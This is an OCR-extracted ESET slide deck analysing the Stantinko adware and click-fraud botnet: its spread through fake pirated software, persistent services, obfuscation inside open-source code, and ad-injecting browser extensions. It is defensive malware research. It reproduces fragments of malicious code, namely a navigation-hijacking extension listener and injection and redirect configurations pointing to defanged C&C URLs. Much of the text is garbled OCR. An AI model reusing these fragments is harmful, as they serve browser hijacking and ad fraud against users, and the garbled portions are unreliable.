Stantinko

A massive adware campaign operating covertly since 2012

Matthieu Faou <matthieu.faou@eset.com> @matthieu_faou
Fredéric Vachon <frederic.vachon@eset.com> @Freddrickk
Marc-Etienne M.Léveillé <leveille@eset.com> @marc_etienne

OOOOOOOOOOOOOOOOOOOOOO



Overview of Stantinko
Infection vector

The core: Stantinko’s persistent services
Anti-analysis and anti-detection techniques
Advertising fraud browser extensions
Plugins: Beyond adware

Stantinko’s Linux malware



How it all started

ENJOY SAFER TECHNOLOGY"

C:\

fdclient.dll ghstore.exe

010101
011010
011100

wsaudio.dll wsaudio.pcapng



wsaudio.dll

Name Address QOrdinal Address Length Type  String
lame_bitrate_stereo_mode_hist 10005D20 160 rdata:1003... 00000042 C Warning: highpass filter disabled. highpass frequency too small\n
lame_block_type_hist 10005000 161 rdata:1003... 00000059 Warning: many decoders cannot handle free format bitrates >320 kbps (see document...
lame_bitrate_block_type_hist 10005E30 162 rdata:1003...  0000003D Warning: many decoders cannot handle free format bitstreams\n
lame_mp3_tags_fid 10005440 163 rdata:1003... 00000046 Using polyphase lowpass filter, transition band: %5.0f Hz - %5.0f Hz\n
lame_close 10005430 164 rdata:1003.. 00000023 polyphase lowpass filter disabled\n
(] lame_get_lametag_frame 1000C100 - 165 rdata:1003.. 00000047 Using polyphase highpass filter, transition band: %5.0f Hz - %5.0f Hz\n
(il get lame_os bitness 10008000 166 rdata:1003..  0000002A Resampling: input %g kHz output %g kHz\n
E‘ :::z':;'\\iz';':;:‘l‘i?; :ggl ;::; 122 rdata:1003... 00000044 Autoconverting from stereo to mono. Setting encoding to mono mode.\n
- - d .rdata:1003... 00000012 CPU features: %s\n
lame_encode_buffer_ieee_float 10005490 169
lame_encode_buffer_interleaved_ieee_float 10005400 170 [rdatar1003.. 00000005 SSE2
lame_encode_buffer_ieee_double 10005510 171 [rdata:i003... 00000007 3DNow!
lame_encode_buffer_interleaved_ieee_double 10005550 172 rdata:1003... 00000011 L'_AME %s %s (%s)\n- .
EntryPoint 10001FFO 173 .rdata:1003... 00000021 \tlnl-erchannel masklng- ratio: %g\n
=) ServiceMain 10001FAG 174 .rdata:1003... 00000024 \tusing temporal masking effect: %s\n
lame_get_bitrate 10007F10 502 rdata:1003... 00000046 \t adjust masking bass=%g dB, alto=%g dB, treble=%g dB, sfb21=%g dB\n
E lame_get_samplerate 10007F40 503 .rdata:1003...  0000002C \texperimental psy tunings by Naoki Shibata\n
5 lame_decode._init 10007830 1000 rdata:1003... 00000022 \t » adjust sensitivity power: %fin

.rdata:1003.. 00000015
.rdata:1003..  0000001E
.rdata:1003.. 00000011
.rdata:1003.. 00000013
.rdata:1003..  0000000E

\t * adjust type: %d\n

\t * level adjustement: %g dB\n
\t * shape: %g%s\n

(only for type 4)

\t * type: %d\n

E lame_decode 10007C60 1001
lame_decode_headers 10007BCO 1002
lame_decodel 10007B70 1003
lame_decodel_headers 10007820 1004
=#| lame_decodel_headersB 10007AEQ 1005

21 [ ] (] ] ] (] (] (] (] (] (] (] (] (] (] (] (] (] (] (] (] (] (] (] (<] (] (] (] (] (][] [ [ [ [
T e NN N000000000000000000000000O0O0

lame_decode_exit 10007820 1006 .rdata:1003...  0000000A \tATH: %s\n

[ hip_decode_init 10007C90 1100 .rdata:1003.. 00000009 not used
hip_decode_exit 10007CBO 1ol .rdata:1003... 00000011 the only masking

5] hip_decode 10007EEQ 102 .rdata:1003.. 00000022 the only masking for short blocks

##] hip_decode_headers 10007E70 1103 rdata:1003... 00000006 using

] hip_decodel 10007E20 o4 rdata:1003.. 00000012 \t * stopping: %d\n
hip_decode1_headers 10007DD0 105 rdata:1003.. 00000017 \t * amplification: %d\n
hip_decodel_headersB 10007020 o6 rdata:1003.. 00000014 \tnoise shaping: %d\n
hip_sat_debugf 10007D90 1107 rdata1003.. 00000021 \t » comparison short blocks: %d\n
hip_set_errort 10007070 1108 rdata:1003..  0D000O1E \tquantization comparison: %din
Eg;:;;’;ﬁ o :ggggi‘; 7;00090 rdata1003..  0DDOCOTE \tadjust masking short: %g dB\n
gt 10000820 2001 rdata:1003.. 00000018 \tadjust masking: %g dB\n

B toea s oo ¢ s

Line 197 of 221 Line 5 of 2539
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wsaudio.dll

HKLM\SOFTWARE\Classes\<volSN>.FieldListCtrl.1
\DefaultIcon -> system32\fdclient.dll

vd = (const CHAR #)get fdclient _path_ from reg(): J
fd client 1ib_handle = LoadLibraryvA(v4):
if ( Ifd_client_1ib_handle )

ExitProcess(1u}:

}
}
*({(_OWORD #=)vl + 2) = 2;
*#{(_OWORD #*)v1l + 1) = =1;
*{(_OWORD #)v1l + 8) = 1;
#({(_OWORD #)vl + 11) = =1;
#((_OWORD #=)vl + B@) = =1;
if ( v10 && v9 = ERROR_ALREADY_EXISTS )

{
vE = sub 18881BCE{ %

ifl{ ldecrypt_and_call_fdclient(vs, fd_client_1ib_handle)} ]]
{

FreeLibrary(fd_client_T1lib_handle)}
ExitProcess(lu);
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Not bad
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Let’s fast forward to the results




Overview of Stantinko’s ecosystem

e

Amigo. Zaarinstaller

Clickfraug ‘Browsar extansion installer
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waaudio_setup. 811
whissrvp_setup.dll
Datcusmavc_setup.dll

Contains
- KD encrypted coue

waandio_setup.dil

ihetr1dz_sstup-a1d
thametel_uetup.
e el
= optastade_setup.dll
Remote Administrator
Search parser
Zarar deaner
Has encrypted code
intheWngbws Registry
Teday Protection

tinkes bfuscated)
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Victims from sinkhole

60%

Russian Federation

9%



Victims using ESET Telemetry

33%

Ukraine

46%

Russia

oooooooooooooooooooo

8%
Kazakhstan

8%

Belarus

()
5%
Republic of Moldova,

Kyrgystan, Uzbekistan,
Azerbaijan & Armenia
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Infection Vector

Win32/FileTour



Downloader
Moneylnst and InstallRed PPI platforms
Targets Russian speakers



Distribution — Fake pirated software

=
L2 MICROSOFT-FREE.com

Cis?

Microsoft Office

Microsoft Office - 3To KoMneKc NoNyNAPHLIX 1 NO-CBOEMY YHWKabHbIX NPOrpaMMHbIX MPOAYKTOB, CNocobHbIX 0becneynTs Nonb3osaTens
BCEMU HEOBXOAMMBIMIN UHCTPYMEHTaMI 1 hYHKLMAMU ANS NPOAYKTUBHOM paboThl € aitnami 1 JOKyMeHTaMu pa3nnyHoro Tuna. Tak, B
cocTaB O(hUCHOro NakeTa BXOAAT: MHOroyHKLIMOHaNbHbIA TEKCTOBbLIN pefakTop Word, no3sonsiowmnii cosaasaThb U pelakTUpoBaTh
TeKCTOBble OKYMEHTbI C Pa3/IMYHbIMW CTPYKTYpamMu 1 crnocobamn hopmMaTUpoBaHus; CpeCcTBO CO3AAHNS MYyNbTUMEAUIHbIX Npe3eHTaUuni n
cnaig-woy: PowerPoint ¢ BO3MOXXHOCTbIO NCMO/Ib30BaHNSA OPUrHaNbHbBIX OPOPMIEHNI N aHUMALIMOHHbIX 3 (EKTOB; PeakTop 3NeKTPOHHbIX
Tabnuu Excel copepxuT mMaccy nonesHbiX MHCTPYMEHTOB, C MOMOLLbIO KOTOPbIX Bbl CMOXKETe CUCTeMaTU3NpoBaTh bonbline obbembl aHHbIX 1
NPOV3BOANTb CJI0XKHbIE pacyeTbl B OAVH KWK; bnaropaps npunoxxeHnam Publisher u Visio nepen Bamu oTKpooTCS HOBble BO3MOXXHOCTMN
paboTbl ¢ rpaduKoi, CxemaMn U AnarpaMmmamu; Ucnonb3ys nporpammbl OneNote u Outlook Bbl CMOXeTe paLiMoHanbHO NaaHNpoBaTh CBoe
BPEMS$,, BECTU CBOV COBCTBEHHbIV 3IEKTPOHHBIA AHEBHVK 11 MaKcUMasibHO UCM0/b30BaTh BCE BO3MOXXHOCTU 3/1€KTPOHHOI MOYTbI; UHCTPYMEHTbI
Access no3BoNAT paboTaTb C peNALNOHHLIMY 6a3aMK AaHHbIX Nob30BaTENAM, He obnaaatoLM crneLranbHbIMU 3HaHMAMK B 06nacTu
nporpammupoBaHus, a B InfoPath Bbl HallaeTe Bce Heobxoaumoe Ans paboTbl ¢ XML-chopmamu.

Y3HaTb 6onee noapobHyto MHGOPMALIMIO O KaXA0M 13 NMPOAYKTOB U CKayaTb WX Ha CBOE YCTPOWCTBO, Bbl CMOXETE B COOTBETCTBYIOLLNX
pasgenax caiiTa. B oraenbHoi kKaTeropun Mol c06pan|/| LNs Bac caMble HeobxoauMble coBeTbI Mo paboTe ¢ NporpaMMamu, a Tak>ke oTBETbI Ha
rnonynsipHbie BONpPOoCh! Nosib3oBaTenei

Microsoft Office Office 2016Cka4aTb Word 2016Cka4aTts

Microsoft Word G CaMblil CBEXWU penn3 n3BecTHOro Microsoft Word 2016 — ogHa u3
Offi nakeTa nporpamMm ans paboTsl ¢ CaMbiX NOMyNAPHbIX NPoOrpamMM,

Microsoft Excel ice TEKCTOBLIMU U MyNbTUMEAUAHBIMU BXOAALWMX B O(PUCHBIN NakeT. Ha ...

Microsoft PowerPoint

)
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Sighed
Uploaded on Yandex Disk

e And removed after download
Packed with VMProtect



WHEN IT'S PACKED
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Payloads

HTTP
HTTP
HTTP
HTTP

tuominen.
tuominen.
tuominen.
tuominen.

Not actual AVI video files
Encrypted PE files (custom encryption)

.
@e'r ENJOY SAFER TECHNOLOGY"

ru
ru
ru
ru

GET faudio music/208 search top.avi HTTP/1.1

GET /audio music/all Films 4922.avi HTTP/1.1

GET /audio music/Project tracks forced.avi HTTP/1.1
GET /faudio music/9183 Hello Amigo track.avi HTTP/1.1

Decryption script in our GitHub
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aR4a@1CcA: B8
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aA46a6258: B0
AA488268: AC
aa4a8278: B0
aa486288: 2E
AR486298: B0




Payloads

FileTour

Downloads

o
ENJOY SAFER TECHNOLOGY"

Mail.ru

Amigo

Click fraud

Adstantinko

— Zaxar installer

—3> Browser extension installer

é
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Click fraud malware

Win32/Packed VMProtect.ABU trojan

FEBE 20

http://ekod.info/c/skchcm.php

http://ekod.info/c/skchem.php

bitly.com/2mfUhWn2

15,324,577 .
CLICKS
600000
00
MAR 2 MAR 8 MAR 14 MAR 20 MAR 26 APR1

SUNDAY, APR 9
B Total Clicks 480 564

DATA IN UTC

ENJOY SAFER TECHNOLOGY™



AdStantinko — Ultimate Discounter

Mail.ru

Amigo Zaxar installer
Click fraud Browser extension installer
Adstantinko udsetup.exe

wbiosrvp setup.dll first_service_ setup.dll
runs = —

o
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AdStantinko — Ultimate

Discounter
e (Gateto U&;{J{%}g
Stantinko

e Windows

becnnaTHoe npuioXXeHne 14 noucka 2
CaMbIX OeELUEBLIX TOBapOB i

Se rVice B MHTEPHET-MarasmHax

Braromaps JaHHOMY pacIIMpeHuio Brl y3HaeTe
000 BCeX CKH/IKaX ¥ aKIUsIX IIePBEIM!

* Setup group
id (gid) and
user id (uid)




Last version: Remote Dictionary Server

A HOME » VIDEO M EDITIONS @& STORE ﬂig!
/’ DIGGS
// This user hasn't dugg any links yet.
C2C domain /

OnbxoBWY J1eB @0ihovichLev

Y
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Stantinko’s persistent
services

The core of Stantinko



o 2 Windows services
o Plugin Downloader Service (PDS)

o Browser Extension Downloader Service (BEDS)

e Re-install each other



e 2 CcOmponents :
o Loader (DLL)
o Encrypted library (DLL)

o The encrypted library contains the C&C
communication code



ENJOY SAFER TECHNOLOGY"

wsaudio_setup.dll
whiosrvp_setup.dll

bstreamsvc_setup.dll

wsaudio.dll

wbiosxvp.dll

bstreamsve.dll

Downloads
& executes in memory
PLUGINS

Bruteforce

Facebook bot

Remote Administrator

Search parser

Zaxar cleaner

Loads &
decrypts,

Mail.ru

Amigo

Click fraud

Adstantinko

udservice.exe

ghstore.exe

Zaxar installer

Browser extension installer

udsetup.exe

first_service_setup.dll

bhetrl32.exe

fdelient.dll

biosysrt.dll

vpscore .d11 :

=

ihetrl32_setup.dll

themctrl_setup.dll

optsatadc_setup.dll

Contains
- encrypted code

26



o« Embeds a PE loader
o Update mechanism

o Drops the Browser Extension Downloader Service
(BEDS)

o Very flexible plugin system

(es[hd



o Find and compromise CMS websites (WordPress
and Joomla)

e Remote administration tool

e Facebook bot



e 2 CcOmponents
o Loader (DLL)
« Encrypted code (Windows Registry)

o The encrypted code contains the C&C
communication code



ENJOY SAFER TECHNOLOGY"

“ Contains

wsaudio.dll

whbiosrvp.dll

bstreamsve.dll

PLUGINS

Bruteforce

Facebook bot

Remote Administrator

Search parser

Zaxar cleaner

Browser
extension

Teddy Protection

D encrypted code

fdelient.dll

Loads & B
biosysrt.dll

vp9core.dll

wsaudio_setup.dll

wbiosrvp_setup.dll

bstreamsve_setup.dll

ihctrl32_ setup.dll T—

themctrl setup.dll
optsatade_setup.dll BEDS
ihetrl32.d11

o themctrl.dll —
. optsatadec.dll
;:”- -’

The Safe Surfing

. Has encrypted code Downloads
in theWindows Registry & executes
Downloads & installs KBDMAI ExtInstaller.dll

ad fraud browser extensions

30



Embeds a PE loader
Update mechanism

Very flexible plugin system
Can reinstall the PDS



o Installs malicious browser extensions

o The Safe Surfing
o Teddy Protection



Anti-analysis and
Anti-detection
techniques



« Encrypted malicious code
o Unique key per infection (Bot id, Volume SN)
o Lots of hashes for the same sample

o To perform analysis
o Find the dropper

o Getasample + related context



o Final payloads never written to disk

« Non-persistent payloads

o To get the payloads
o Code a bot mimicking an infected machine

o Monitor infected machines



o On-disk components are embedded into open
source software

o From GitHub, SourceForge, etc

o LAME, libart, AFNI (Analysis of Functional Neurolmages)

o Makes classification more difficult
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w

EH

w

EH

i

EH

w

EH

w

EH

i
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EH
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w
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w

w

w
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rdata:
rdata:
rdata;
rdata;
rdata:
rdata;
rdata;
rdata:
rdata:
rdata;
rdata;
rdata:
rdata;
rdata;
rdata:
rdata:
rdata;
rdata;
rdata:
rdata;
rdata;
rdata:
rdata:
rdata;
rdata;
rdata:
rdata;

1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...
1004...

00000016
00000016
00000026
0000004E
0000002F
0000001E
0000000E
0000002B
00000039
00000032
00000044
00000034
0000002F
0000002C
00000017
00000039
00000039
00000036
00000029
00000023
00000033
00000048
00000041
00000022
00000020
00000035
00000024

[ T T T T T T Y T T T Y T T Y Y Y e T T Y O T O T O e T A R |

usage: % [switches]

inputfile outputfilein

Switches (names may be abbreviated):\n

-optimize  Optimize Huffrman table (smaller file, but slow compression)in
-progressive  Create progressive JPEG filehn

Switches for advanced users:in

(default)

-detint  Useinteger DCT method%es'n

-dct fast  Usefast integer DCT (less accurate) %6shn

-dct float  Use floating-point DCT method%shn

-restart M Set restart interval in rows, or in blocks with Bin
-maxmemery M Maximum memory to use (in kbytes)\n
-outfile name Specify name for cutput filehn

-verbose or -debug Emit debug ocutputin

Switches for wizards\n

-scans file  Create multi-scan JPEG per seript filghn

-copy none  Copy no extra markers from source filehn
-copy cemments Copy only comment markers (default)in
-copy all  Copy all extra markers\n

Switches for modifying the image’n

-grayscale  Reduceto grayscale (omit color data)in

-flip [horizental|vertical] Mirror image (left-right or top-bottom]in
-rotate [90[180|270] Rotate image (degrees clockwise)in
-transpose  Transpose imagein

-transverse  Transverse transpose imagein

-trim Drop non-transformable edge blocks\n

Can't open scan definition file %s'n
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AFNI program: djpeg - Mozilla Firefox

| AFNI program: djpeg x|+

€& | O @ | https://afni.nimh.nih.gov/pub/dist/doc/program_help/djpeg.html @ ||Q, search

AFNI program: djpeg

Output of -help

wBe ¥ A& O

usage: /fraid/pub/dist/bin/1linux_openmp 64/djpeg [switches] [inputfile]
Switches (names may be abbreviated):

-colors N
-fast
-grayscale
-scale M/N
-bmp

-gif

-0s2

-pnm
-targa

Reduce image to no more than N colors

Fast, low-quality processing

Force grayscale output

Scale output image by fraction M/N, eg, 1/8
Select BMP output format (Windows style)

Select GIF output format

Select BMP output format (05/2 style)

Select PBMPLUS (PPM/PGM) output format (default)
Select Targa output format

Switches for advanced users:

-dect int
-dct fast
-det float
-dither fs
-dither none

Use integer DCT method (default)

Use fast integer DCT (less accurate)
Use floating-point DCT method

Use F-5 dithering (default)

Don't use dithering in quantization

-dither ordered Use ordered dither (medium speed, quality)

-map FILE
-nosmooth
-onepass
-maxmemory N

Map to colors used in named image file
Don't use high-quality upsampling

Use 1-pass quantization (fast, low quality)
Maximum memory to use (in kbytes)

-outfile name Specify name for output file

-verbose or

-debug  Emit debug output

This page auto-generated on Wed Sep 27 11:30:13 EDT 2017

o
ENJOY SAFER TECHNOLO(
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afni.nimh.nih.gov - Mozilla Firefox

| A sfni.nimh.nih.gov x |+
& | @ @ | https://afni.nimh.nih.gov @ | |Q Search vt A ¥+ & O =
Home About Documentation Software Message Board S5CC Staff Bootcamp ContactUs
G T -/ Inter-Subject Correlation Group
L ll|_| Ry = = 2 2 = -
Analysis
54 15¢€ A - 7
L)L) ‘0 L
= 3 y 5 4
: S e
of EAEY] N
o 5 4
T I — o — 1 2 3

Main menu
» Home

o About

o Documentation
o Software

o Message Board
o S5CC 5taff

o Bootcamp

o Conftact Us

Quick Links
Class Handouts
Atlases

AFNI (Analysis of Functional Neurolmages) is a set
of C programs for processing, analyzing, and displaying
functional MRI (FMRI) data - a technigue for mapping
human brain activity. It runs on Unix+X11+Motif systems,
including SGI, Solaris, Linux, and Mac OS X. It is available
free (in C source code format, and some precompiled binaries) for
research purposes.

| o OYXTRAAA -

Current AFNI

Version
AFNI_17.217

latest compile date
275ep 2017 11:28 EDT

Site Search

Staff login
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[ X N ]

<

[Em] = web.archive.org/web/20170610041306/http://vp9codec ¢ (4]

VP9 Codec Hard Disk Bug Report Group

VP9 is an open and royalty
free video coding format.

[ ) aITHUB ]

[ O UPDATE ]

Efficiency
In Netflix's "Large-Scale Video Codec Comparison of x264, x265 and Libvpx for Practical VOD applications”, libvpx came out
30% more efficient than x264 and 20% less efficient than x265 by Netflix's own VMAF metric. The comparison evaluated the
slowest encoding speeds available for each encoder. The disparity between libvpx and x265 was much less on the SSIM metric
(3%), which is consistent with previous findings that showed x265 to narrowly beat libvpx at the very highest quality (slowest
encoding) whereas libvpx was superior at any other encoding speed, by SSIM.

In a subjective quality comparison conducted in 2014 featuring the reference encoders for HEVC (HM 15.0), MPEG-4
AVC/H.264 (JM 18.6), and VP9 (libvpx 1.2.0 with preliminary VP9 support), VPS, like H.264, required about two times the
bitrate to reach video quality comparable to HEVC, while with synthetic imagery VP9 was close to HEVC. By contrast, another
subjective comparison from 2014 concluded that at higher quality settings HEVC and VP9 were tied at a 40 to 45% bitrate
advantage over H.264.

Performance
An encoding speed versus efficiency comparison of the reference Sintel (1080p)
implementation in libvpx, x264 and x265 was made by an FFmpeg 23 <
mdeielonerin Sentember 2015: Ry SSIM indey libunx was mastly o J e
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o000 < [Em]

hdr-group.org:8080 (e} (4] [ui} a

VP8 Codec Hard Disk Bug Report Group E

Hard disk
b ug report SAS vs SATA SATAvs ESATA SCSIvs SATA USB3vsS

SAS vs. SATA

SATA and SAS connectors are used to hook up computer components, such as hard drives or media drives, to motherboards.
SAS-based hard drives are faster and more reliable than SATA-based hard drives, but SATA drives have a much larger storage
capacity. Speedy, reliable SAS drives are typically used for servers while SATA drives are cheaper and used for personal
computing. SAS stands for Serial Attached SCSI (pronounced "scuzzy") or Serial Attached Small Computer System Interface,
while SATA stands for Serial ATA or Serial Advanced Technology Attachment.

SATA Serial Attached SCSI

Acronym for Serial ATA or Serial Advanced Technology Attachment. ~ Serial Attached SCSI (pronounced "scuzzy") or Serial Attached Small
Computer System Interface.

Advantages Inexpensive, large storage capacity. Fast data transfer rate, higher MTBF than SATA (1.2 to 1.6 million
hours of use at 45 °C), longer cables, sometimes higher rpm.

Disadvantages Lower MTBF than SAS (700,000 hours to 1.2 million Expensive, less storage capacity, uses more power to operate
hours of use at 25 °C), less suited for servers.

Speed Data transfers at the rate of up to 6 Gb/s Data transfers at the rate of up to 6 Gb/s, but generally faster than

42



« Custom obfuscator
o Merges multiple functions together
o Control flow flattening

o To perform analysis
« Find non-obfuscated older variant

o Dynamic analysis
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Ad Fraud browser
Extensions

Stantinko’s main usage



2014 2016
APIHelper Teddy Protection

2015
The Safe Surfing

Installed by the Browser Extension Downloader
Service (BEDS)

Share a custom encryption algorithm with
AdStantinko



nject advertisement in targeted websites
Redirect the user when a targeted domain is

orowsed



Pambaep/

CEler

MO UCK 101xp.com

Monck  Kaptums  Oprammzaym®  ounetp

101XP - Virpai GecnnarHo B OHNaiH-1rpbI

ru.101xp.com ~

Jlyuwmne GecnarHble oHNaAH-nrpsl. BpaysepHsie cTparern, MMORPG, KINeHTCKue 1
MoBubHbIe nrpsl. Demon Slayer, /lura AHrenos, Call of Gods, MStar.

Icarus Knnentckne Ckauars urpy  101xp Forum

101XP - Play free online RPG games

en.101xp.com ~

This website uses cookies to allow us to see how the site is used. More information can be
found. here. x. NEWDragon Blood. Play Now. NEWDragon Blood.

Icarus Mopnepxka Jlura aqrenos Il Demon Slayer 3: New Era

JNura aHrenos Il - 101XP

101xp.com/games/liga_angelov_2 ~
Jura anrenos || — camas oxrgaeman bpayseptas urpa 2016 roga! NerengapHas MMORPG,
KOTOPYHO YCNENN No/GUTe MUTMOHE! UTPOKOB N0 BCEMY MUDY,

HANT!

Cl

IC

k

ONbLO APAKOHA

WUIPATb CEMYAC

SR
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PaMGAep/ nouck  101xp.com

Mowueck KapTnHkn (:)y:ransauvmp DUneTP

N .
101XP - Virpait 6ecnnatHo B OHAAH-NIPbI & (JOLln l\S
ru.101xp.com =
Jlyuwwme GecniaTHsle OHNaliH-urpsl. BpaysepHbie cTparerun, MMORPG, WiMeHTCKue 1
MoBUnbHble Urpsbl. Demon Slayer, ura AHrenos, Call of Gods, MStar.

Icarus Knuentckwe CkavaTb urpy 101xp Forum C I ic k h ij a C ke d . -

101XP - Play free online RPG games

en.101xp.com ~

This website uses cookies to allow us to see how the site is used. More information can be
found. here. x. NEWDragon Blood. Play Now. NEWDragon Blood.

Icarus Moanepxka [lvra aHrenos |l Demon Slayer 3: New Era

JNura aHrenos Il - 101XP RedlreCtlon

101xp.com/games/liga_angelov_2 »

Jura avrenos |l — camas oxugaemas GpaysepHas wipa 2016 roga! JlereHaapsas MMORPG,
KOTOPYIO YCMe/ NoMKGMTE MAAIMOHLI MTPOKOB MO BCEMY MUDY, ..

Unet TIepeHanpaBIeHHe IO CChIIIKe HO'/{\'H.’I}'IVICTH NOJOXKAHTE Napy CEeKVHA

bLIO IPAKOHA

The user is finally redirected to
the landing page of those who M N
paid Golinks for the visit. ol

" il

CEler



Ad injection example

| https://www.rambler.ru

Paménep Mouta HosocTtn

Z kv o =
CASINO
B HoBocuéupcke +14° Mpo6ku 1 6ann S 56,27 + 62,92 ¢

Pambaep/ |

HAWTH

Mouta

B Mockee Monutuka CnopTt

3axapoBa
NPOKOMMeEHTUpoBana
npu3biB Keppu yunTb
PYCCKUI A3bIK

o
ENJOY SAFER TECHNOLOGY"

MpouclecTena

naphroMepHsie MarasuHsi

(!) Tenenporpamma

DurypaHTKa <gena
CepebpeHHuKoBa»
npu3aKana suHy

Eepona «Gpocut
BbI30B» HOBOMY
opyxuo Poccuu

AeTo

Cgenats cTaprosoit M

& Bunetbi: Meu kopona ApTypa <S> 3HaKOMCTBa 15 BIPOCbIX

Texwonoruu WUrpbl Busnec

BnacTu cTonuupl Bpat HasanbHoro
BbICTYNUM C BbiWwen us OﬂMHOUHOIZ
npegynpexaeHnem K Kamepb!

MOCKBMYaAM

YyeHble: Yenoseyeckuin MpesugenxT MopTyranum
MO3r CnocoGeH «BuaeTb nuwun Tpamna
Gynyuiee» «MWHYTbI CNaBbi» Ha

cammuTe HATO

CTUNb XU3HK 3p0posbe

A

Boitn %,

Loy-6usHec
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Browser Helper Object for IE
NPAPI| DLL for other browsers
npapihelper.dll

Deprecated since ~2015



e Can also
Inject
JavaScript

o
ENJOY SAFER TECHNOLOGY"

Redirection

ol
function BeforeNavigateListener( )
{
chrome.webNavigation.onBeforeNavigate.addListener(function
(details) {
if (details.frameId != 0)
return;

try {
var link = plg.ObtainUrl(details.url); @
if (link != null)
{
chrome. tabs .get(details. tabId, function(tab) {
if (tab)
{
chrome.tabs.update(details . tabId,
{'url’:link}); &
li
Dk
I

} catch (err){}:



Configuration

o Injection of
JavaScript Ry e QRS

“substitution”: [{

“domains”: [“www.odnoklassniki.ru”, “odnoklassniki.ru”, @

“www .ok.ru"”, *ok.ru"],
CO e “url_script”: “hxxp:,//adhelper.org/corefodnoklassniki.js" @
A

“domains”: [“www.yandex.ru", “yandex.ru", *“www.yandex.

by", “yandex.by", “www.yandex.ua", “yandex.ua", “www.yandex.kz",
“yandex.kz", “ya.ru", “www.ya.ru"],
o e O u n a “url script":

“hxxp: //adhelper.org/core/yandex. js"
{

“domains”: [“mail.ru”, “news.mail.ru”, “www.mail.ru"],

[ ]
goog I e J S “url_script®: “hxxp://adhelper.org/core/mail, js*
° {

“domains”: [“www.avito.ru", *avito.ru"],
o “url script": *hxuxp://adhelper.org/core/avito.js"”
{
fl | e “domains”: [“rambler.ru”, *“www.rambler.ru”, “news.rambler.
“www.news . ranbler.ru”, “horoscopes.rambler.ru”, “www.
horoscopes.rambler.ru"],
“url_script”: “hxxp://adhelper.org/fcore/rambler,js”
11

“ajax_substitution”: [{ @

"

ru

“domains”: [“vk.com"”, “www.vk.com”, “new.vk.com"”, *“www.new.
vk.com"],

o
ENJOY SAFER TECHNOLOGY"




Configuration

“dynamical_ redirect”: {
“options®: {
1 ? “php redirect_script”: *“hxxp://adhelper.org/dynamical/
o Redirection =

“php_redirect_exclude”: [¥_utmzi__1_ =1"], @

“redkey”: “188f0704al170bl1f92b7716d288d9ebl8” @
}r

o Hundreds of i googte e fuer eicrona st sengmats 0 o
“type": 1, @
“mode”: 1, B

We b S IteS ”Zi:ldde "' [“_utmzi 1 =1"], @

“proxy"”: "hxxp://adhelper.org/dynamical/dur.
php?m=1&r=%source%x” ®
targeted 3
P ol
“*aristalslot.net*?*™: {
“type”: 1,
“mode™: 1,
“get”: *“hxxp://lucky-gamez.com/alt/ceristal fepreg/auth.
php?a69083f62leadaB74b0cfe4a74e8740£”, ©
“exclude”: [“a69083f621eadaB74b0cf64a7deB8T40£", “/
social/redirect.php"],
“proxy": “hxxp://777-gambling.
org/ tkey=%base6d%utid=%sourcex"”
I

o
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Brenev GitHub repository

o VK scripts

L brenev / collection @Wwatch 1 %Star 0  ¥Fork 0

L]
. —_—
. | n d eX . I_I St Of ¢% Code Issues 0 Pull requests 0 Projects 0 Insights «
C & C No description, website, or topics provided.

P 208 commits i 1 branch © 0 releases 42 1 contributor
fo r t h e S e a r‘C h Branch: master~ | | New pull request Find file
fgrgrgtr changes Latest commit 829894 7 hours ago
a rS e r i images images 3 years ago
p [E) fActivity.js vid 3 years ago
[E) index changes 7 hours ago
m O d u | e ) likeUp.js v1.1 3 years ago

) noAjjs v 1.00 3 years ago
[£) noAj_book.js activity fix 3 years ago
B thejs new 1.0 3 years ago
[E) vkontakte set 3 years ago

[E) wss change 2 years ago

o
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e Use .
Stantinko’s R The e N—

obfuscator

[laHHOe paclunpeHune
npeaynpexpaaet Bac o

He6e30nacHbIX caiTax
. B O l | l JAaHHoe paclumpeHmne npegynpexaaet Bac o
Hebe3onacHbIX caiiTax, Takux Kak: Nokepbl,

CMC-NOANUCKN 1 Apyrue, Hapylarouiue Balu
KOMGOPT NpY MHTEPHET CEPUHTE, CaliTbl.

legitimate Errr— Y—

Brmmanine! Noceutenne 3TOTO CailTa MOXKET HaHECTH BPEA Additional Information
BAWEMY KOMABIOTERY. Version: 4.18

and malicious e
behavior

o
ENJOY SAFER TECHNOLOGY"




Installed from the store

Yajax substitutien®: [].,

° | k “dynamical redirect™: {
Bloc

I3

“safe surfing bad sites”: [ @

74 | . ”
#1000wid .alub®,
m a IC I O u S "lﬂﬂa;;iic.'h:ls:arto.pp aa",
domains

“l100adinger.deterhes.pp.ua®,

“Zasonya.net”,
Yof-fm.rua*,
“zmusic.site”,
"zZo-Zo-Zo.ru",
“zvukoff.org”
1,
“gafe surfing detect script™:
YdmFy IFSfX19fX19fX3N1YnN jemliZV9 jaGV ja2VyPXtf2GVOZWNOX3R1eHQeWy Io
KFx1MDRQOM1x IMDQOMVxIMDOZzY]1 x1MDQz ZVx 1 MDOzMnx cd TAONDNcd TAOM2Z cd TAON
DB dTAOMzBcdTAOMZzJ cd TAOM2IpEC4gEVX IMDRZZ 1x1 MDDz ZVX1MDRZNFx1MDQZ 21
¥ IMDQZOF%1[...]" @

¥

o
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The Safe Surfing

BHumaHue! MocelleHne 3Toro caita MOXXeT HaHeCTU Bpen,
BalleMy KOMNbIOTEpPY.

Be6-caliT vk.cc HaxoguTcs B CNUCKe BE6-CaiTOB C NOTEHUMAIbHO ONACHLIM COAEPXUMbIM.
[axe npocToe nocewjeHne cata MOXeT NPUBECTU K 3apadkKeHUI0 BalLero KOMnboTepa.
Moapo6Hee...

safesurfing.me

o
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Installed by Stantinko

e Similar to
APIHelper R

{
M . “domains”: [
configuration
“www.vk.com”,
“new.vk.com”,
“www . new. vk . com”

] Use the Sa m e ‘:l":;l:l_sc:ig‘.:": “hxxps://raw.githubusercontent. com/

kabanovmihail /static/master/master”™

I
“domains”: [

scripts to {
block and A

“yandex.by",
. “www . yandex.ua",
“yandex.ua",
red I re Ct “www. yandex . kz",
“yandex.kz",
“ya.ru",
Ywww.ya.ru”
1
“url_script”: *huaxps://raw.githubusercontent.com/
shapovalovnikolayy/static/master /yamaster”

o
ENJOY SAFER TECHNOLOGY" }'




Teddy Protection

", - Teddy Protection
« HTML/JS only. e

Fokkkd (1671) Accesslbility

OVERVIEW REVIEWS SUPPORT RELATED

Teddy Protection - protects you
from malicious sites, and

. . L]
o Similar legit
. . poospaTs < - aggressive advertising on the
